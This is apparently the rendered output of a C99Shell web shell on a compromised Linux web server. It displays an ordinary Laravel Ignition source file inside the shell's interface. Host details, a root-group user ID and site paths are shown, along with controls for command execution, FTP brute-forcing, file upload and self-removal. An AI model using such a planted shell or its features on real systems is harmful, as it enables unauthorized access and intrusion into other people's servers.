!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/spatie/laravel-ignition/src/Views/   drwxr-xr-x
Free 28.19 GB of 117.98 GB (23.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BladeSourceMapCompiler.php (4.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\LaravelIgnition\Views;

use 
Illuminate\View\Compilers\BladeCompiler;
use 
Throwable;

class 
BladeSourceMapCompiler
{
    protected 
BladeCompiler $bladeCompiler;

    public function 
__construct()
    {
        
$this->bladeCompiler app('blade.compiler');
    }

    public function 
detectLineNumber(string $filenameint $compiledLineNumber): int
    
{
        
$map $this->compileSourcemap((string)file_get_contents($filename));

        return 
$this->findClosestLineNumberMapping($map$compiledLineNumber);
    }

    protected function 
compileSourcemap(string $value): string
    
{
        try {
            
$value $this->addEchoLineNumbers($value);

            
$value $this->addStatementLineNumbers($value);

            
$value $this->addBladeComponentLineNumbers($value);

            
$value $this->bladeCompiler->compileString($value);

            return 
$this->trimEmptyLines($value);
        } catch (
Throwable $e) {
            
report($e);

            return 
$value;
        }
    }

    protected function 
addEchoLineNumbers(string $value): string
    
{
        
$echoPairs = [['{{''}}'], ['{{{''}}}'], ['{!!''!!}']];

        foreach (
$echoPairs as $pair) {
            
// Matches {{ $value }}, {!! $value !!} and  {{{ $value }}} depending on $pair
            
$pattern sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s'$pair[0], $pair[1]);

            if (
preg_match_all($pattern$value$matchesPREG_OFFSET_CAPTURE)) {
                foreach (
array_reverse($matches[0]) as $match) {
                    
$position mb_strlen(substr($value0$match[1]));

                    
$value $this->insertLineNumberAtPosition($position$value);
                }
            }
        }

        return 
$value;
    }

    protected function 
addStatementLineNumbers(string $value): string
    
{
        
// Matches @bladeStatements() like @if, @component(...), @etc;
        
$shouldInsertLineNumbers preg_match_all(
            
'/\B@(@?\w+(?:::\w+)?)([ \t]*)(\( ( (?>[^()]+) | (?3) )* \))?/x',
            
$value,
            
$matches,
            
PREG_OFFSET_CAPTURE
        
);

        if (
$shouldInsertLineNumbers) {
            foreach (
array_reverse($matches[0]) as $match) {
                
$position mb_strlen(substr($value0$match[1]));

                
$value $this->insertLineNumberAtPosition($position$value);
            }
        }

        return 
$value;
    }

    protected function 
addBladeComponentLineNumbers(string $value): string
    
{
        
// Matches the start of `<x-blade-component`
        
$shouldInsertLineNumbers preg_match_all(
            
'/<\s*x[-:]([\w\-:.]*)/mx',
            
$value,
            
$matches,
            
PREG_OFFSET_CAPTURE
        
);

        if (
$shouldInsertLineNumbers) {
            foreach (
array_reverse($matches[0]) as $match) {
                
$position mb_strlen(substr($value0$match[1]));

                
$value $this->insertLineNumberAtPosition($position$value);
            }
        }

        return 
$value;
    }

    protected function 
insertLineNumberAtPosition(int $positionstring $value): string
    
{
        
$before mb_substr($value0$position);
        
$lineNumber count(explode("\n"$before));

        return 
mb_substr($value0$position)."|---LINE:{$lineNumber}---|".mb_substr($value$position);
    }

    protected function 
trimEmptyLines(string $value): string
    
{
        
$value preg_replace('/^\|---LINE:([0-9]+)---\|$/m'''$value);

        return 
ltrim((string)$valuePHP_EOL);
    }

    protected function 
findClosestLineNumberMapping(string $mapint $compiledLineNumber): int
    
{
        
$map explode("\n"$map);

        
// Max 20 lines between compiled and source line number.
        // Blade components can span multiple lines and the compiled line number is often
        // a couple lines below the source-mapped `<x-component>` code.
        
$maxDistance 20;

        
$pattern '/\|---LINE:(?P<line>[0-9]+)---\|/m';
        
$lineNumberToCheck $compiledLineNumber 1;

        while (
true) {
            if (
$lineNumberToCheck $compiledLineNumber $maxDistance) {
                
// Something wrong. Return the $compiledLineNumber (unless it's out of range)
                
return min($compiledLineNumbercount($map));
            }

            if (
preg_match($pattern$map[$lineNumberToCheck] ?? ''$matches)) {
                return (int)
$matches['line'];
            }

            
$lineNumberToCheck--;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--